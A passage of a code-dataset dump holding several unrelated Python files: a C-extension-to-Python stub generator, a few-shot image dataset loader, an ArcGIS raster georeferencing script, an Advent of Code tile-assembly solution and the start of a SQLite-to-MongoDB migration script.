SrcFile:\n\t\"\"\"\n\tModeling of one source file\n\t\"\"\"\n\n\tdef __init__(self, path: str) -> NoReturn:\n\t\t\"\"\"\n\t\tInitialization for SrcFile class\n\t\t\"\"\"\n\t\tself.path: str = path\n\t\tself.lines: List[str] = list()\n\t\tself.module_name: str = str()\n\t\tself.methods_dic_name: str = str()\n\t\tself.constants: List[Constant] = list()\n\t\tself.constants_name: List[str] = list()\n\t\tself.methods: Dict[str, str] = dict() # s_methods\\[\\]((.|\\n)*){((.|_n)*)} --> {.*\\\"(.*)\\\",(.*),.*} --> strip\n\t\tself.methods_list_contents: Dict[str, str] = dict() # PyObject\\s*\\*\\s*(.*)\\(.*\\)(.|\\n*){(.|\\n)*?}\n\t\tself.methods_object: List[Method] = list()\n\n\tdef read_lines(self) -> NoReturn:\n\t\t\"\"\"\n\t\tRead files in utf-8 and save them\n\t\t\"\"\"\n\t\twith open(self.path, \"r+\", encoding=\"utf-8\", errors=\"ignore\") as file:\n\t\t\tself.lines = file.readlines()\n\n\tdef read_module_name(self) -> NoReturn:\n\t\t\"\"\"\n\t\tSearch line with module and get his name\n\t\t\"\"\"\n\t\tfor line in self.lines:\n\t\t\tif \"Py_InitModule(\" in line:\n\t\t\t\tgroups = re.search(\"Py_InitModule\\(\\\\\\\"(.*?)\\\\\\\",\\s*(.*)\\)\", line)\n\t\t\t\tif groups:\n\t\t\t\t\tgroups = groups.groups()\n\t\t\t\tself.module_name = groups[0]\n\t\t\t\tself.methods_dic_name = groups[1]\n\n\tdef read_module_content(self) -> NoReturn:\n\t\t\"\"\"\n\t\tRead module content to find method and her content\n\t\t\"\"\"\n\t\tcontent: str = \"\".join(self.lines)\n\t\tcontent = comment_remover(content)\n\t\tmethods: Match = re.search(self.methods_dic_name + '\\[]((.|\\n)*){((.|_n)*)}', content)\n\n\t\tif not methods:\n\t\t\treturn\n\n\t\tmethods_group: str = methods.groups()[0]\n\t\tmethods_list: list = re.findall('{.*\\\"(.*)\\\",\\t*(.*),.*}', methods_group)\n\t\tif methods_list:\n\t\t\tfor m in methods_list:\n\t\t\t\tif len(m) == 2:\n\t\t\t\t\tself.methods[m[1].strip()] = m[0].strip()\n\t\toccurrences: List = re.findall(\"PyObject\\s*\\*\\s*(.*)\\(.*\\)\\s*{((?:[^{}]+|{([^{}]+)}){3})}\", content)\n\t\tfor occurrence in occurrences:\n\t\t\tself.methods_list_contents[occurrence[0]] = occurrence[1]\n\n\t\tto_delete: list = list()\n\t\tfor method in self.methods_list_contents:\n\t\t\tif method not in self.methods.keys():\n\t\t\t\tto_delete.append(method)\n\t\tfor method in to_delete:\n\t\t\tself.methods_list_contents.pop(method)\n\n\tdef read_functions(self) -> NoReturn:\n\t\t\"\"\"\n\t\tRead all functions name, create object and work on it\n\t\t:return:\n\t\t\"\"\"\n\t\tfor method in self.methods_list_contents:\n\t\t\tfunction = Method()\n\t\t\tfunction.set_name(self.methods[method])\n\t\t\tfunction.set_content(self.methods_list_contents[method])\n\t\t\tfunction.process()\n\t\t\tself.methods_object.append(function)\n\n\tdef read_constant(self) -> NoReturn:\n\t\t\"\"\"\n\t\tRead file's content to find constant and add them to the class\n\t\t\"\"\"\n\t\tcontent: str = \"\".join(self.lines)\n\t\tfor constant_declaration in CONSTANTS_FUNCTION.keys():\n\t\t\tconstants: List = re.findall(\"{}\\(.*\\\"(.*)\\\",\\s*.*\\)\".format(\n\t\t\t\tconstant_declaration\n\t\t\t), content)\n\t\t\tfor constant in constants:\n\t\t\t\tif constant not in self.constants_name:\n\t\t\t\t\tself.constants_name.append(constant)\n\t\t\t\t\tself.constants.append(Constant(\n\t\t\t\t\t\tconstant,\n\t\t\t\t\t\tCONSTANTS_FUNCTION[constant_declaration]\n\t\t\t\t\t))\n\n\tdef process(self) -> NoReturn:\n\t\t\"\"\"\n\t\tWork on the file\n\t\t\"\"\"\n\t\tself.read_lines()\n\t\tself.read_module_name()\n\t\tself.read_module_content()\n\t\tself.read_functions()\n\t\tself.read_constant()\n\n\tdef render(self) -> NoReturn:\n\t\t\"\"\"\n\t\tRender a module\n\t\t\"\"\"\n\t\tif self.module_name == \"\" or not self.methods_object:\n\t\t\treturn\n\t\tcheck_render_space()\n\t\twith open(f\"{OUTPUT_DIRECTORY}/{self.module_name}.py\", \"w\", encoding=\"utf-8\") as rendering_file:\n\t\t\tprint(f\"Rendering {self.module_name}...\")\n\t\t\twrite_head_block(rendering_file)\n\t\t\tfor constant in self.constants:\n\t\t\t\trendering_file.write(\"\\n\")\n\t\t\t\trendering_file.write(constant.render())\n\t\t\tfor method in self.methods_object:\n\t\t\t\trendering_file.write(\"\\n\\n\")\n\t\t\t\trendering_file.write(method.render())\n\n\tdef has_module(self) -> bool:\n\t\t\"\"\"\n\t\tIf file has module\n\t\t:return: bool: has module\n\t\t\"\"\"\n\t\treturn self.module_name != str()\n\n\tdef __str__(self) -> str:\n\t\t\"\"\"\n\t\tMake string who represent SrcFile current object\n\t\t:return: str: representation\n\t\t\"\"\"\n\t\treturn self.path\n\n\nclass SrcFiles:\n\t\"\"\"\n\tClass for processing on multiple SrcFile\n\t\"\"\"\n\n\tdef __init__(self, path: str) -> NoReturn:\n\t\t\"\"\"\n\t\tInitialization of class\n\t\t:param path: str: path of files\n\t\t\"\"\"\n\t\tself.files: List[SrcFile] = list()\n\t\tself.path: str = path\n\n\tdef add_file(self, file: str) -> NoReturn:\n\t\t\"\"\"\n\t\tAdd SrcFile's path\n\t\t:param file: str: path\n\t\t\"\"\"\n\t\tcurrent_file: SrcFile = SrcFile(file)\n\t\tself.files.append(current_file)\n\n\tdef remove_file(self, file: SrcFile) -> NoReturn:\n\t\t\"\"\"\n\t\tRemove path from list\n\t\t:param file: src: file's path to delete\n\t\t\"\"\"\n\t\tself.files.remove(file)\n\n\tdef process(self) -> NoReturn:\n\t\t\"\"\"\n\t\tProcessing on each SrcFile\n\t\t\"\"\"\n\t\tinput_files = glob.glob(f\"{self.path}/*\", recursive=True)\n\t\tfor file in input_files:\n\t\t\tif os.path.exists(file):\n\t\t\t\tself.add_file(file)\n\n\t\tfor file in self.files:\n\t\t\tfile.process()\n\n\t\tfor file in self.files:\n\t\t\tif not file.has_module():\n\t\t\t\tself.remove_file(file)\n\n\t\tfor file in self.files:\n\t\t\tfile.render()\n\n\tdef __str__(self) -> str:\n\t\t\"\"\"\n\t\tMaking string to represent class\n\t\t:return: str: representation\n\t\t\"\"\"\n\t\treturn f\"[{', '.join(str(x) for x in self.files)}]\"\n\n\ndef process() -> NoReturn:\n\t\"\"\"\n\tInitialize SrcFiles objet, and start process.\n\t\"\"\"\n\tprint(\"Getting all files in src directory\")\n\n\tfiles = SrcFiles(INPUT_DIRECTORY)\n\tfiles.process()\n\n\nif __name__ == '__main__':\n\tprint(\"Welcome !\")\n\tprint(\"I was coded by Takuma! A Frenchman who loves baguettes!\")\n\tprint(\"This tools only support one module per files...\")\n\tprint(\"And module initialisation have to be on only one line.\")\n\tprint(\"As it's by default.\")\n\tprocess()\n\tprint(\"Ended.\")\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 14160, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "re.compile", "line_number": 100, "usage_type": "call"}, {"api_name": "re.DOTALL", "line_number": 102, "usage_type": "attribute"}, {"api_name": "re.MULTILINE", "line_number": 102, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 104, "usage_type": "call"}, {"api_name": "typing.IO", "line_number": 107, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 130, "usage_type": "call"}, {"api_name": "os.path", "line_number": 130, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 132, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 245, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 265, "usage_type": "call"}, {"api_name": "re.search", "line_number": 391, "usage_type": "call"}, {"api_name": "re.search", "line_number": 403, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 409, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 414, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 443, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 528, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 530, "usage_type": "call"}, {"api_name": "os.path", "line_number": 530, "usage_type": "attribute"}]} +{"seq_id": "507002957", "text": "# This code is modified from https://github.com/facebookresearch/low-shot-shrink-hallucinate\n\nimport torch\nfrom PIL import Image\nimport json\nimport numpy as np\nimport torchvision.transforms as transforms\nimport os\n\n# jigsaw patch positions\npatch_xl = np.array([0,0,0,74,74,74,148,148,148])\npatch_xr = np.array([74,74,74,148,148,148,224,224,224])\npatch_yl = np.array([0,74,148,0,74,148,0,74,148])\npatch_yr = np.array([74,148,224,74,148,224,74,148,224])\n\nidentity = lambda x:x\nclass SimpleDataset:\n def __init__(self, data_file, transform, target_transform=identity):\n with open(data_file, 'r') as f:\n self.meta = json.load(f)\n self.transform = transform\n self.target_transform = target_transform\n\n\n def __getitem__(self,i):\n image_path = os.path.join(self.meta['image_names'][i])\n img = Image.open(image_path).convert('RGB')\n img = self.transform(img)\n target = self.target_transform(self.meta['image_labels'][i])\n return img, target\n\n def __len__(self):\n return len(self.meta['image_names'])\n\nclass JigsawDataset:\n def __init__(self, data_file, transform, max_replace_block_num=4, target_transform=identity):\n self.max_replace_block_num = max_replace_block_num\n self.transform = transform\n self.target_transform = target_transform\n\n with open(data_file, 'r') as f:\n self.meta = json.load(f)\n self.cl_list = np.unique(self.meta['image_labels']).tolist()\n\n self.sub_meta = {}\n for cl in self.cl_list:\n self.sub_meta[cl] = []\n\n for x, y in zip(self.meta['image_names'], self.meta['image_labels']):\n self.sub_meta[y].append(x)\n\n self.meta['image_labels'] = np.array(self.meta['image_labels'])\n\n self.original_size = len(self.meta['image_names'])\n\n def __getitem__(self, i):\n image_path = os.path.join(self.meta['image_names'][i])\n img = Image.open(image_path).convert('RGB')\n img = self.transform(img)\n target = self.target_transform(self.meta['image_labels'][i])\n\n # ori_im = img.clone()\n\n if self.max_replace_block_num == 0:\n replace_block_num = 0\n replaced_indexs = []\n else:\n replace_block_num = np.random.randint(1, self.max_replace_block_num+1)\n replaced_indexs = np.random.choice(9, replace_block_num, replace=False)\n\n is_same_cls = np.random.randint(0, 2)\n\n if is_same_cls == 0: # use a random image\n choose = np.random.randint(0, self.original_size)\n auxiliary_image_path = os.path.join(self.meta['image_names'][choose])\n auxiliary_image = Image.open(auxiliary_image_path).convert('RGB')\n auxiliary_image = self.transform(auxiliary_image)\n else: # use an image in same class\n labels = self.meta['image_labels']\n same_cls_idxs = np.where(labels == target)[0]\n choose = np.random.choice(same_cls_idxs, 1)[0]\n auxiliary_image_path = os.path.join(self.meta['image_names'][choose])\n auxiliary_image = Image.open(auxiliary_image_path).convert('RGB')\n auxiliary_image = self.transform(auxiliary_image)\n\n for l in range(replace_block_num):\n replaced_index = replaced_indexs[l]\n img[0:3, patch_xl[replaced_index]:patch_xr[replaced_index], patch_yl[replaced_index]:patch_yr[replaced_index]] = auxiliary_image[0:3,\n patch_xl[replaced_index]:patch_xr[replaced_index],\n patch_yl[replaced_index]:patch_yr[replaced_index]]\n\n return img, target\n\n def __len__(self):\n return len(self.meta['image_names'])\n\n\nclass SetDataset:\n def __init__(self, data_file, batch_size, transform):\n with open(data_file, 'r') as f:\n self.meta = json.load(f)\n \n self.cl_list = np.unique(self.meta['image_labels']).tolist()\n\n self.sub_meta = {}\n for cl in self.cl_list:\n self.sub_meta[cl] = []\n\n for x,y in zip(self.meta['image_names'],self.meta['image_labels']):\n self.sub_meta[y].append(x)\n\n self.sub_dataloader = [] \n sub_data_loader_params = dict(batch_size = batch_size,\n shuffle = True,\n num_workers = 0, #use main thread only or may receive multiple batches\n pin_memory = False) \n for cl in self.cl_list:\n sub_dataset = SubDataset(self.sub_meta[cl], cl, transform = transform )\n self.sub_dataloader.append(torch.utils.data.DataLoader(sub_dataset, **sub_data_loader_params) )\n\n def __getitem__(self,i):\n return next(iter(self.sub_dataloader[i]))\n\n def __len__(self):\n return len(self.cl_list)\n\nclass SubDataset:\n def __init__(self, sub_meta, cl, transform=transforms.ToTensor(), target_transform=identity):\n self.sub_meta = sub_meta\n self.cl = cl \n self.transform = transform\n self.target_transform = target_transform\n\n def __getitem__(self,i):\n #print( '%d -%d' %(self.cl,i))\n image_path = os.path.join( self.sub_meta[i])\n img = Image.open(image_path).convert('RGB')\n img = self.transform(img)\n target = self.target_transform(self.cl)\n return img, target\n\n def __len__(self):\n return len(self.sub_meta)\n\nclass EpisodicBatchSampler(object):\n def __init__(self, n_classes, n_way, n_episodes, shuffle=True):\n self.n_classes = n_classes\n self.n_way = n_way\n self.n_episodes = n_episodes\n self.shuffle = shuffle\n\n def __len__(self):\n return self.n_episodes\n\n def __iter__(self):\n for i in range(self.n_episodes):\n if self.shuffle:\n extracted_cls = torch.randperm(self.n_classes)[:self.n_way]\n else:\n extracted_cls = [x for x in range(self.n_classes)][:self.n_way]\n yield extracted_cls\n\n\n\n\n", "sub_path": "data/dataset.py", "file_name": "dataset.py", "file_ext": "py", "file_size_in_byte": 6143, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "numpy.array", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 14, "usage_type": "call"}, {"api_name": "json.load", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 27, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 27, "usage_type": "name"}, {"api_name": "json.load", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 58, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 58, "usage_type": "name"}, {"api_name": "numpy.random.randint", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 68, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 69, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 71, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 74, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path", "line_number": 75, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 76, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 76, "usage_type": "name"}, {"api_name": "numpy.where", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 81, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path", "line_number": 82, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 83, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 83, "usage_type": "name"}, {"api_name": "json.load", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 119, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 128, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 128, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 136, "usage_type": "call"}, {"api_name": "os.path", "line_number": 136, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 137, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 137, "usage_type": "name"}, {"api_name": "torch.randperm", "line_number": 158, "usage_type": "call"}]} +{"seq_id": "470879613", "text": "# -*- coding: cp1254 -*-\n# -*- ##################\n# ---------------------------------------------------------------------------\n# create_semih_archydro.py\n#\n# Coded by :\n# Semih DALGIN\n# semihdalgin@gmail.com\n#\n#\n# ---------------------------------------------------------------------------\n# Import system modules\nimport arcpy, time, datetime, os, sys, string, csv, shutil, fileinput, string\nimport arcgisscripting\nmxd = arcpy.mapping.MapDocument(\"CURRENT\")\ndf = arcpy.mapping.ListDataFrames(mxd,\"Layers\")[0]\narcpy.env.overwriteOutput=True\n\n\ntry:\n # Script arguments\n arcpy.AddMessage (\"\\nDr.Semih DALGIN tarafından yapıldı.\")\n arcpy.AddMessage (\"\\nİletişim adresi: semihdalgin@gmail.com\")\n arcpy.AddMessage (\"\\nBaşlangıç Değerleri Alınıyor...\" )\n\n try:\n # Make parameters array, and later write input parameter values to an output file\n parameters = []\n now = datetime.datetime.now()\n parameters.append(\"Date and Time: \"+ now.strftime(\"%Y-%m-%d %H:%M\"))\n # Folder where output files will be saved\n workspace1 = arcpy.GetParameterAsText(0)\n # Donusum Dosyasi\n don = arcpy.GetParameterAsText(1)\n # DRE\n #dre = arcpy.GetParameterAsText(2)\n # Projeksiyon\n prj = arcpy.GetParameterAsText(2)\n \n except:\n arcpy.AddMessage(\"\\nError in input arguments: \" + arcpy.GetMessages(2))\n raise Exception\n # Check and create output folders\n try:\n arcpy.AddMessage(\"\\nCreating output folders...\")\n thefolders=[\"DRE\",\"ULKE\"]\n for folder in thefolders:\n if not arcpy.Exists(workspace1 + folder):\n arcpy.CreateFolder_management(workspace1, folder)\n except:\n arcpy.AddError(\"\\nError creating output folders: \" + arcpy.GetMessages(2))\n raise Exception\n # Calculations\n try:\n arcpy.env.workspace=workspace1\n rstname = arcpy.ListDatasets()\n cc=0\n \n for fc in rstname:\n cc=cc+1\n for xox in range (0,cc,1):\n rssa=rstname[xox].split(os.extsep)[0]\n exportname=workspace1+\"\\\\DRE\\\\\"+rssa+\".tif\"\n exportname1=workspace1+\"\\\\ULKE\\\\\"+rssa+\".tif\"\n arcpy.AddMessage(\"\\nÇalışılan Dosya \" + str(rssa)+\" \"+str(xox+1))\n dreal=workspace1+\"\\\\\"+rssa+\".dre\"\n dreadi=workspace1+\"\\\\DRE\\\\\"+rssa+\".txt\"\n \n dosyadre = open(dreal) \n asd = dosyadre.read() \n dosya1 = open(dreadi, 'a+') \n\n with open(dreal) as openfile:\n for line in openfile:\n for part in line.split():\n if \"RasterPY1=\" in part:\n a1= part.split('=')[1]\n if \"RasterPX1=\" in part:\n a2= part.split('=')[1]\n if \"HaritaPY1=\" in part:\n a3= part.split('=')[1]\n if \"HaritaPX1=\" in part:\n a4= part.split('=')[1]\n if \"RasterPY2=\" in part:\n a5= part.split('=')[1]\n if \"RasterPX2=\" in part:\n a6= part.split('=')[1]\n if \"HaritaPY2=\" in part:\n a7= part.split('=')[1]\n if \"HaritaPX2=\" in part:\n a8= part.split('=')[1]\n if \"RasterPY3=\" in part:\n a9= part.split('=')[1]\n if \"RasterPX3=\" in part:\n a10= part.split('=')[1]\n if \"HaritaPY3=\" in part:\n a11= part.split('=')[1]\n if \"HaritaPX3=\" in part:\n a12= part.split('=')[1]\n if \"RasterPY4=\" in part:\n a13= part.split('=')[1]\n if \"RasterPX4=\" in part:\n a14= part.split('=')[1]\n if \"HaritaPY4=\" in part:\n a15= part.split('=')[1]\n if \"HaritaPX4=\" in part:\n a16= part.split('=')[1]\n \n dosya1.write(a1+\",\"+a2+\",\"+a3+\",\"+a4+\"\\n\"+a5+\",\"+a6+\",\"+a7+\",\"+a8+\"\\n\"+a9+\",\"+a10+\",\"+a11+\",\"+a12+\"\\n\"+a13+\",\"+a14+\",\"+a15+\",\"+a16+\"\\n\") \n dosya1.close()\n \n if not arcpy.Exists(exportname):\n dosya=workspace1+\"\\\\\"+rstname[xox]\n arcpy.AddMessage(\"\\nÇalışılan Dosya \" + str(dosya))\n arcpy.WarpFromFile_management(dosya,exportname,dreadi,\"POLYORDER1\",\"NEAREST\")\n arcpy.DefineProjection_management(exportname,prj)\n if not arcpy.Exists(exportname1):\n dosya1=workspace1+\"\\\\DRE\\\\\"+rstname[xox]\n arcpy.AddMessage(\"\\nÇalışılan Dosya \" + str(dosya1))\n arcpy.WarpFromFile_management(dosya1,exportname1,don,\"POLYORDER1\",\"NEAREST\")\n arcpy.DefineProjection_management(exportname1,prj) \n except:\n arcpy.AddError(\"\\nHata Hesaplamalarda\" + arcpy.GetMessages(2))\n raise Exception \nexcept:\n arcpy.AddError(\"\\nError running script\")\n raise Exception\n", "sub_path": "L2U_DRE.py", "file_name": "L2U_DRE.py", "file_ext": "py", "file_size_in_byte": 5322, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "arcpy.mapping.MapDocument", "line_number": 15, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 15, "usage_type": "attribute"}, {"api_name": "arcpy.mapping.ListDataFrames", "line_number": 16, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 16, "usage_type": "attribute"}, {"api_name": "arcpy.env", "line_number": 17, "usage_type": "attribute"}, {"api_name": "arcpy.AddMessage", "line_number": 22, "usage_type": "call"}, {"api_name": "arcpy.AddMessage", "line_number": 23, "usage_type": "call"}, {"api_name": "arcpy.AddMessage", "line_number": 24, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 29, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 29, "usage_type": "attribute"}, {"api_name": "arcpy.GetParameterAsText", "line_number": 32, "usage_type": "call"}, {"api_name": "arcpy.GetParameterAsText", "line_number": 34, "usage_type": "call"}, {"api_name": "arcpy.GetParameterAsText", "line_number": 38, "usage_type": "call"}, {"api_name": "arcpy.AddMessage", "line_number": 41, "usage_type": "call"}, {"api_name": "arcpy.GetMessages", "line_number": 41, "usage_type": "call"}, {"api_name": "arcpy.AddMessage", "line_number": 45, "usage_type": "call"}, {"api_name": "arcpy.Exists", "line_number": 48, "usage_type": "call"}, {"api_name": "arcpy.CreateFolder_management", "line_number": 49, "usage_type": "call"}, {"api_name": "arcpy.AddError", "line_number": 51, "usage_type": "call"}, {"api_name": "arcpy.GetMessages", "line_number": 51, "usage_type": "call"}, {"api_name": "arcpy.env", "line_number": 55, "usage_type": "attribute"}, {"api_name": "arcpy.ListDatasets", "line_number": 56, "usage_type": "call"}, {"api_name": "os.extsep", "line_number": 62, "usage_type": "attribute"}, {"api_name": "arcpy.AddMessage", "line_number": 65, "usage_type": "call"}, {"api_name": "arcpy.Exists", "line_number": 112, "usage_type": "call"}, {"api_name": "arcpy.AddMessage", "line_number": 114, "usage_type": "call"}, {"api_name": "arcpy.WarpFromFile_management", "line_number": 115, "usage_type": "call"}, {"api_name": "arcpy.DefineProjection_management", "line_number": 116, "usage_type": "call"}, {"api_name": "arcpy.Exists", "line_number": 117, "usage_type": "call"}, {"api_name": "arcpy.AddMessage", "line_number": 119, "usage_type": "call"}, {"api_name": "arcpy.WarpFromFile_management", "line_number": 120, "usage_type": "call"}, {"api_name": "arcpy.DefineProjection_management", "line_number": 121, "usage_type": "call"}, {"api_name": "arcpy.AddError", "line_number": 123, "usage_type": "call"}, {"api_name": "arcpy.GetMessages", "line_number": 123, "usage_type": "call"}, {"api_name": "arcpy.AddError", "line_number": 126, "usage_type": "call"}]} +{"seq_id": "339630696", "text": "def input():\n input_data = list(filter(None, open('day_20/input.txt').read().split('\\n\\n')))\n return list(map(lambda lines: Tile(lines), input_data))\n\nclass Tile:\n def __init__(self, lines):\n lines = lines.split('\\n')\n self.id = int(lines[0].split()[1].strip(':'))\n self.image = [line.strip() for line in lines[1:]]\n self.build_borders()\n\n def build_borders(self):\n lines = self.image\n self.borders = [\n ''.join(lines[0]),\n ''.join([line[-1] for line in lines]),\n ''.join(reversed(lines[-1])),\n ''.join([line[0] for line in reversed(lines)]),\n ]\n self.flipped_borders = [\n ''.join(reversed(lines[0])),\n ''.join([line[-1] for line in reversed(lines)]),\n ''.join(lines[-1]),\n ''.join([line[0] for line in lines]),\n ]\n\n def flip(self):\n self.image = [''.join(reversed(line)) for line in self.image[:]]\n self.build_borders()\n\n def rotate(self):\n size = len(self.image)\n new_image = []\n for x in range(0, size):\n new_image.append([])\n for y in range(0, size):\n new_image[x].append(self.image[size - 1 - y][x])\n self.image = [''.join(line) for line in new_image]\n self.build_borders()\n\n\nfrom collections import defaultdict\n\ndef count_border_ids(tiles):\n border_id_counts = defaultdict(int)\n\n for tile in tiles:\n for border in tile.borders:\n border_id_counts[border] += 1\n for border in tile.flipped_borders:\n border_id_counts[border] += 1\n return border_id_counts\n\ndef count_unique_borders(borders, border_id_counts):\n count = 0\n for border in borders:\n if border_id_counts[border] == 1:\n count += 1\n return count\n\ndef find_corners(tiles, border_id_counts):\n corners = set()\n corners_total = 1\n for tile in tiles:\n if count_unique_borders(tile.borders, border_id_counts) == 2 or count_unique_borders(tile.flipped_borders, border_id_counts) == 2:\n corners.add(tile)\n corners_total *= tile.id\n return corners, corners_total\n\ndef part_1(tiles):\n border_id_counts = count_border_ids(tiles)\n corners, corners_total = find_corners(tiles, border_id_counts)\n return corners_total\n\n\ndef find_matching_tile(tiles, searched, border_index, done):\n for tile in tiles:\n if tile.id in done:\n continue\n if searched in tile.flipped_borders:\n tile.flip()\n if searched not in tile.borders:\n raise Exception('Bad flip.')\n if searched in tile.borders:\n while searched != tile.borders[border_index]:\n tile.rotate()\n done.add(tile.id)\n return tile\n raise Exception('Image tile not found.')\n\ndef find_first_image_column(tiles, image, image_size, done, border_id_counts):\n x = 0\n for y in range(1, image_size):\n searched = image[x][y-1].flipped_borders[2]\n tile = find_matching_tile(tiles, searched, 0, done)\n if border_id_counts[tile.borders[3]] != 1:\n raise Exception('Not a proper border tile: %d.' % border_id_counts[tile.borders[1]])\n image[x].append(tile)\n\ndef find_other_image_columns(tiles, image, image_size, done):\n for x in range(1, image_size):\n image.append([])\n for y in range(0, image_size):\n searched = image[x-1][y].flipped_borders[1]\n tile = find_matching_tile(tiles, searched, 3, done)\n image[x].append(tile)\n\ndef make_full_image_tile(tiles, top_left, border_id_counts):\n while border_id_counts[top_left.borders[0]] != 1 or border_id_counts[top_left.borders[3]] != 1:\n top_left.rotate()\n\n done = set()\n done.add(top_left.id)\n\n image = [[top_left]]\n image_size = 12\n\n find_first_image_column(tiles, image, image_size, done, border_id_counts)\n find_other_image_columns(tiles, image, image_size, done)\n\n lines = ['Tile 0:']\n for y in range(0, image_size):\n for sub_y in range(1, len(image[0][0].image) - 1):\n line_parts = []\n for x in range(0, image_size):\n line_parts.append(image[x][y].image[sub_y][1:-1])\n lines.append(''.join(line_parts))\n return Tile('\\n'.join(lines))\n\ndef count_monster_dots(full_image):\n monster = [\n (18, 0),\n (0, 1), (5, 1), (6, 1), (11, 1), (12, 1), (17, 1), (18, 1), (19, 1), \n (1, 2), (4, 2), (7, 2), (10, 2), (13, 2), (16, 2), \n ]\n\n size = len(full_image.image[0])\n count = 0\n for flip in range(0, 2):\n full_image.flip()\n for rot in range(0, 4):\n full_image.rotate()\n for x in range(0, size):\n for y in range(0, size):\n for delta in monster:\n mx = x+delta[0]\n my = y+delta[1]\n if mx >= size or my >= size:\n break\n if full_image.image[my][mx] != '#':\n break\n else:\n count += 1\n return count * len(monster)\n\ndef count_image_dots(full_image):\n dot_count = 0\n size = len(full_image.image[0])\n for x in range(0, size):\n for y in range(0, size):\n if full_image.image[y][x] == '#':\n dot_count += 1\n return dot_count\n\n\ndef part_2(tiles):\n border_id_counts = count_border_ids(tiles)\n corners, corners_total = find_corners(tiles, border_id_counts)\n full_image = make_full_image_tile(tiles, corners.pop(), border_id_counts)\n return count_image_dots(full_image) - count_monster_dots(full_image)\n\nif __name__ == '__main__':\n print(part_1(input()))\n print(part_2(input()))\n", "sub_path": "day_20/day_20.py", "file_name": "day_20.py", "file_ext": "py", "file_size_in_byte": 5821, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "collections.defaultdict", "line_number": 45, "usage_type": "call"}]} +{"seq_id": "258907782", "text": "import pymongo\nimport os\nfrom dotenv import load_dotenv\nimport sqlite3\nimport pandas as pd\n\nload_dotenv()\n\nDB_URL = os.getenv(\"DB_URL\")\n\nconnection_uri = DB_URL\nclient = pymongo.MongoClient(connection_uri)\n\nsl_conn = sqlite3.connect('rpg_db.sqlite3') # connect to rpg database\nsl_curs = sl_conn.cursor()\n\nqueries = [['charactercreator_character', 'SELECT * FROM charactercreator_character'],\n ['armory_item', 'SELECT * FROM armory_item'], ['armory_weapoon', 'SELECT * FROM armory_weapon'],\n ['charactercreator_character_inventory', 'SELECT * FROM charactercreator_character_inventory'],\n ['charactercreator_cleric', 'SELECT * FROM charactercreator_cleric'],\n ['charactercreator_fighter', 'SELECT * FROM charactercreator_fighter'],\n ['charactercreator_mage', 'SELECT * FROM charactercreator_mage'],\n ['charactercreator_necromancer', 'SELECT * FROM charactercreator_necromancer'],\n ['charactercreator_thief', 'SELECT * FROM charactercreator_thief']]\n\ndb = client.rpgdata\nfor query in queries:\n collection_name = query[0]\n\n get_query = query[1]\n objects = sl_curs.execute(get_query).fetchall()\n\n df = pd.read_sql(get_query, con=sl_conn)\n df = 